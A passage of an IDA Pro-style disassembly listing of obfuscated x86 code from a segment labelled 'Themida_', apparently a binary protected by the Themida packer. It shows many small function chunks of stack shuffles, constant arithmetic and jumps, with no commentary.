		jmp	loc_56E049
; END OF FUNCTION CHUNK	FOR sub_560276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5631F8:				; CODE XREF: sub_56657A-1E43j
		inc	edx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_5676B4
; END OF FUNCTION CHUNK	FOR sub_56657A

; =============== S U B	R O U T	I N E =======================================



sub_563207	proc near		; DATA XREF: Themida_:0055FD34o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561BF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562190 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564344 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565971 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005672C9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569867 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00569A5E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A3B5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056DE7F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571F38 SIZE 0000000D BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_56A3B5
sub_563207	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_563216:				; CODE XREF: sub_564D26+B95j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_24]
		pop	esp
		jmp	loc_56F573
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56322B:				; CODE XREF: sub_571890-5D8Dj
		pop	ecx
		jmp	loc_567000
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_563231:				; CODE XREF: sub_564D26+2573j
		shl	edx, 1
		jmp	loc_570F64
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_563238:				; CODE XREF: sub_567D31-79Ej
		push	ecx
		mov	ecx, 3C183D94h
		mov	ebx, ecx
		mov	ecx, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 7B151197h
		and	ebx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		neg	ebx
		push	esi
		push	ebp
		mov	ebp, 6D150E84h
		jmp	loc_570D4D
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------


loc_56327D:				; CODE XREF: Themida_:0056CF96j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_56F631
; ---------------------------------------------------------------------------


loc_56328C:				; CODE XREF: Themida_:00574722j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56DC15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_56329B:				; CODE XREF: sub_570621-963Dj
		mov	edx, 13DB42A7h
		jmp	loc_56C5F1
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5632A5:				; CODE XREF: sub_568E5C+7864j
		push	edx
		mov	edx, 0B9F42DBFh
		sub	eax, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5624FE
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5632B5:				; CODE XREF: sub_56FB8A+2000j
		add	ebx, ebp
		push	edx
		mov	edx, 66136C5Ah
		or	edx, 756659DCh
		jmp	loc_56E330
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562676


loc_5632C8:				; CODE XREF: sub_562676+A6FFj
		pop	eax
		sub	esi, 73B9287Ah
		jmp	loc_56FBEB
; END OF FUNCTION CHUNK	FOR sub_562676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5632D4:				; CODE XREF: sub_56AB5E+30j
		sub	bh, dh
		add	bh, 7Ah
		pop	dx
		jmp	loc_56428E
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_5632E0:				; CODE XREF: sub_568764+BB1Ej
		push	661A1129h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xor	edi, 661A1129h
		push	edx
		mov	edx, edi
		mov	ebx, edx
		pop	edx
		pop	edi
		add	ebx, 1612636Ah
		add	ebx, edx
		sub	ebx, 1612636Ah
		push	edx
		mov	edx, 0
		sub	edx, 3962073Bh
		jmp	loc_571F0F
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_563317:				; CODE XREF: sub_563FA2-2BAEj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_563FA2

; =============== S U B	R O U T	I N E =======================================



sub_56331C	proc near		; CODE XREF: sub_5750DE-7436j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560A69 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056B3B6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056C1F0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057284D SIZE 00000017 BYTES

		push	ebx
		mov	ebx, 0E73DD1B1h
		add	edx, ebx
		pop	ebx
		mov	ecx, edx
		pop	edx
		jmp	loc_56C1F0
sub_56331C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56332D:				; CODE XREF: sub_56F1DB+327j
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, 35CF10B6h
		jmp	loc_56ADBE
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C295


loc_563340:				; CODE XREF: sub_56C295+2706j
		mov	eax, 4229771Eh
		xor	eax, 48CE4DE5h
		add	eax, 0F518C509h
		mov	ebp, eax
		jmp	loc_561033
; END OF FUNCTION CHUNK	FOR sub_56C295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_563356:				; CODE XREF: sub_572141-2A34j
		sub	eax, 3A0F172Ah
		xor	eax, 24F35749h
		neg	eax
		sub	eax, 1B52432Dh
		sub	eax, 7408B1A2h
		add	ebp, eax
		pop	eax
		add	ebp, 7CBB7631h
		add	ebp, ecx
		sub	ebp, 7CBB7631h
		sub	ebp, 75F5647Fh
		jmp	loc_56B206
; END OF FUNCTION CHUNK	FOR sub_572141

; =============== S U B	R O U T	I N E =======================================



sub_563388	proc near		; CODE XREF: sub_570F82-1789j
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		pop	ebp
		pop	esi
		mov	eax, 52413E11h
		sub	eax, edi
		pop	edi
		push	edi
		mov	edi, 1EA11871h
		jmp	sub_570B3C
sub_563388	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5633A2:				; CODE XREF: sub_563819+5268j
		push	esp
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_573FAB
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5633AC:				; CODE XREF: sub_561418+10C27j
		neg	ecx
		not	ecx
		xor	ecx, 0EF48A1DFh
		mov	edx, ecx
		pop	ecx
		xor	edx, 70083A41h
		and	edx, 53143D3Ch
		xor	edx, 2141D08h
		add	ecx, edx
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		mov	eax, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		shl	eax, cl
		push	6A7Eh
		mov	[esp+14h+var_14], esi
		jmp	loc_57181A
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5633F7:				; CODE XREF: sub_574304-254Ej
		add	edi, 5B97AE9h
		jmp	loc_56F9D1
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_563402:				; CODE XREF: sub_567CF5+4j
		push	6666h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 53733015h
		jmp	loc_56D3C6
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_563417:				; CODE XREF: sub_560EA2+473Fj
		mov	ebx, 655B651Ah
		sub	eax, ebx
		pop	ebx
		sub	eax, 3C2B7938h
		push	ebp
		jmp	sub_571C93
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_56342A:				; CODE XREF: sub_569D5F+CFCj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_56A416
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_56343E:				; CODE XREF: sub_56E05C-D7D2j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_56729E
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_563449:				; CODE XREF: sub_564020+386j
		add	ebx, 2E3322D5h
		jmp	loc_56165D
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_563454:				; CODE XREF: sub_569CBC-11Bj
		add	edx, ebx
		add	edx, 59596094h
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_574EFE
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56346B:				; CODE XREF: sub_572075+C02j
		mov	ebx, edx
		push	ebx
		add	[esp+18h+var_18], 772F4CEBh
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		sub	ecx, 772F4CEBh
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		pop	edx
		neg	ecx
		sub	ecx, 6F03116h
		jmp	loc_56996F
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_563498:				; CODE XREF: sub_5681F5-2E77j
		or	eax, ebx
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5752F2
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5634A8:				; CODE XREF: sub_5678CB-119j
		inc	edx
		push	ebx
		jmp	loc_56FC02
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_5634AF	proc near		; CODE XREF: sub_566C83+411Aj

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562CA5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056380C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005645C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056557F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565669 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005656A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566AD5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005692A3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C11D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570D9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570EFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571175 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574606 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005753E4 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_570D9C
sub_5634AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574C6D


loc_5634BF:				; CODE XREF: sub_574C6D+6j
		add	edx, ebx
		pop	ebx
		pop	esi
		push	edi
		mov	edi, 2
		sub	edx, 6781BABh
		sub	edx, 75F43FE8h
		add	edx, edi
		add	edx, 75F43FE8h
		add	edx, 6781BABh
		pop	edi
		jmp	loc_56AD1A
; END OF FUNCTION CHUNK	FOR sub_574C6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_5634E9:				; CODE XREF: sub_5729F9-3328j
		mov	dl, 73h
		push	59Dh
		mov	[esp+6+var_6], ebx
		push	eax
		jmp	loc_56F7D4
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_5634F9:				; CODE XREF: sub_567C58+31CFj
		or	esi, eax
		pop	eax
		xor	esi, 4107565Ah
		neg	esi
		shl	esi, 7
		xor	esi, 23D00174h
		sub	eax, esi
		pop	esi
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56BC61
; END OF FUNCTION CHUNK	FOR sub_567C58

; =============== S U B	R O U T	I N E =======================================



sub_56351E	proc near		; CODE XREF: sub_5692D3+4F2Aj

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056371D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005668C4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568F7B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A0B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056AAF2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C30A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00572548 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572D00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572EC6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005742B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574E46 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057530D SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 6052475Fh
		xor	ebp, 7CB352Dh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_56C30A
sub_56351E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_563532:				; CODE XREF: sub_574F16-985Aj
		push	eax
		mov	eax, esp
		jmp	loc_570474
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56353A:				; CODE XREF: sub_564BC5+6j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	edx
		push	eax
		push	0E40D31h
		jmp	loc_563AFA
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_56354B:				; CODE XREF: sub_5715F0-5FE8j
		mov	[esp-4+arg_0], ebx
		push	esp
		pop	ebx
		jmp	loc_561935
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_563555:				; CODE XREF: sub_56E0B0-D765j
		not	edx
		or	edx, 6483500Eh
		push	esi
		mov	esi, 76600808h
		add	esi, 54461FCFh
		jmp	loc_569845
; END OF FUNCTION CHUNK	FOR sub_56E0B0

; =============== S U B	R O U T	I N E =======================================



sub_56356E	proc near		; CODE XREF: sub_56DAB2+55F0j
		push	ebp
		push	edi
		push	573F6FBAh
		pop	edi
		jmp	sub_5685B2
sub_56356E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57377E


loc_56357B:				; CODE XREF: sub_57377E-5A79j
		mov	[esp+4+var_4], edx
		jmp	loc_568AB1
; END OF FUNCTION CHUNK	FOR sub_57377E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_563583:				; CODE XREF: sub_575315-6016j
		add	ebx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_566EF0
; ---------------------------------------------------------------------------


loc_563593:				; CODE XREF: sub_575315-2B6Ej
		pop	ecx
		push	ebp
		mov	ebp, 7BA7152Dh
		push	ecx
		mov	ecx, 364F5AEEh
		inc	ecx
		jmp	loc_5628AD
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_5635A6:				; CODE XREF: sub_5638E4+193Fj
		push	small word ptr [eax]
		jmp	loc_570AA4
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_5635AE:				; CODE XREF: sub_574AF3-2052j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_572BF7
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5635BE:				; CODE XREF: sub_564D26+684Cj
		pop	ebp
		push	esi
		mov	esi, 58C7196Dh
		or	ebp, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		push	eax
		mov	eax, 21E76B1Eh
		neg	eax
		sub	eax, 46305BDEh
		not	eax
		sub	eax, 0ED208710h
		sub	ebp, eax
		pop	eax
		sub	edx, 29762EA0h
		add	edx, ebp
		jmp	loc_566431
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_5635F1:				; CODE XREF: Themida_:0056BD29j
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, 6D94027Fh
		add	ecx, ebx
		sub	ecx, 6D94027Fh
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57077F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_563612:				; CODE XREF: sub_5753A5-590Aj
		push	edx
		push	esp
		pop	edx
		jmp	loc_567758
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56361A:				; CODE XREF: sub_56616D+D9D7j
		mov	[esp-10h+arg_C], edx
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_56906B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56362B:				; CODE XREF: sub_574CDD-B8F6j
		mov	esp, [esp+0]
		imul	ecx
		push	4455h
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56363F:				; CODE XREF: sub_564D26+A0ECj
		mov	ebp, 7D9F2493h
		or	ebp, 9AD2F7Ch
		and	ebp, 623439FDh
		jmp	loc_56011F
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_563655:				; CODE XREF: sub_563DCB+6F7Fj
		not	ch
		mov	al, ch
		pop	cx
		xchg	al, cl
		push	128Ah
		jmp	loc_56AEC2
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_563667:				; CODE XREF: sub_566117+C898j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	2E5Dh
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		jmp	loc_56745A
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_563683:				; CODE XREF: sub_570621-402Ej
		pop	ecx
		add	edx, 576B2DA2h
		inc	edx
		neg	edx
		xor	edx, 654C3488h
		xor	edx, 0C2806F39h
		add	edi, edx
		jmp	loc_56859E
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------


loc_5636A0:				; CODE XREF: Themida_:00563D38j
		add	esp, 4
		mov	ebp, edx
		pop	edx
		xor	ebx, ebp
		jmp	loc_5740FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5636AD:				; CODE XREF: sub_567D31+6861j
		pop	ebx
		jmp	loc_5621C6
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5636B3:				; CODE XREF: sub_569193-130Dj
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_56AFB5
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_5636CC:				; CODE XREF: sub_575315+7j
		or	ebx, 1B9C727Dh
		sub	ebx, 672B6B14h
		sub	ebx, 33D07782h
		inc	ebx
		sub	ebx, 82D95AC2h
		xor	ecx, ebx
		jmp	loc_56D2ED
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_5636EC:				; CODE XREF: sub_574CBE+1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, 2E7B6DDEh
		sub	ecx, ebp
		add	ecx, 2E7B6DDEh
		pop	ebp
		push	ecx
		push	[esp+8+var_4]
		jmp	loc_56AEDE
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_563714:				; CODE XREF: sub_56FB8A-A71Dj
		mov	dx, word ptr [esp+4+var_4]
		jmp	loc_56ED53
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_56371D:				; CODE XREF: sub_56351E+10D98j
		mov	[esp+0], esi
		push	0B57h
		mov	[esp+4+var_4], eax
		push	edi
		mov	edi, 10C26E4Eh
		jmp	loc_568F7B
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_563733:				; CODE XREF: sub_5620B7+8792j
		mov	ecx, [esp+4+var_6+2]
		add	esp, 4
		add	al, bh
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_5655A0
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_563744:				; CODE XREF: sub_56E126+1642j
		xor	ecx, 7112CAFCh
		xor	esi, ecx
		pop	ecx
		jmp	loc_56EAD3
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_563752:				; CODE XREF: sub_56264C+12B52j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_572CCA
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_563763:				; CODE XREF: sub_56AB5E+1F47j
		xor	edi, 5748503Ch
		xor	ecx, edi
		pop	edi
		xor	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		add	[esp+0Ch+var_8], 71E30048h
		sub	[esp+0Ch+var_8], ebx
		sub	[esp+0Ch+var_8], 71E30048h
		jmp	loc_56D818
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56378B:				; CODE XREF: sub_5685B2+7F47j
		sub	ebp, ecx
		jmp	loc_574ED2
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_563792:				; CODE XREF: sub_56671D-5535j
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		add	al, 0B6h
		add	al, 0D9h
		jmp	loc_569F52
; END OF FUNCTION CHUNK	FOR sub_56671D

; =============== S U B	R O U T	I N E =======================================



sub_5637A1	proc near		; CODE XREF: sub_5726FB-23Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562731 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562EFE SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		jmp	loc_562731
sub_5637A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_5637C0:				; CODE XREF: sub_57523A-D3A7j
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		jmp	loc_56ECC4
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3B7


loc_5637CB:				; CODE XREF: sub_56D3B7+2E84j
		add	esi, ebx
		pop	ebx
		jmp	loc_569AD5
; END OF FUNCTION CHUNK	FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5637D3:				; CODE XREF: sub_56628B+1B10j
		push	edi
		mov	edi, 352B51E2h
		jmp	loc_569742
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5637DE:				; CODE XREF: sub_5685B2+C931j
		xor	edx, ebp
		jmp	loc_561AB7
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5637E5:				; CODE XREF: sub_56B06D+4j
		mov	ecx, 767E3198h
		sub	[esp+10h+var_C], ecx
		pop	ecx
		push	[esp+0Ch+var_C]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_574A50
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_56380C:				; CODE XREF: sub_5634AF+11179j
		add	edx, eax
		add	edx, 6B1D33D1h
		jmp	loc_565669
; END OF FUNCTION CHUNK	FOR sub_5634AF

; =============== S U B	R O U T	I N E =======================================



sub_563819	proc near		; CODE XREF: sub_5687A3+15B7j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00560A5F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560DE7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056175C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056260C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005630B5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005633A2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005639CA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567C36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568A79 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E23 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569750 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056DF7F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00570A0D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570CAD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00571D5A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005723CB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005734FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573FAB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005743BF SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 1C046405h
		jmp	loc_560DE7
sub_563819	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_563824:				; CODE XREF: sub_563A7F+8DEEj
		add	esp, 4
		jmp	loc_56EB42
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56382C:				; CODE XREF: sub_571F6F-B58Aj
		push	ecx
		push	eax
		mov	ah, 97h
		mov	ch, 24h
		jmp	loc_5711E7
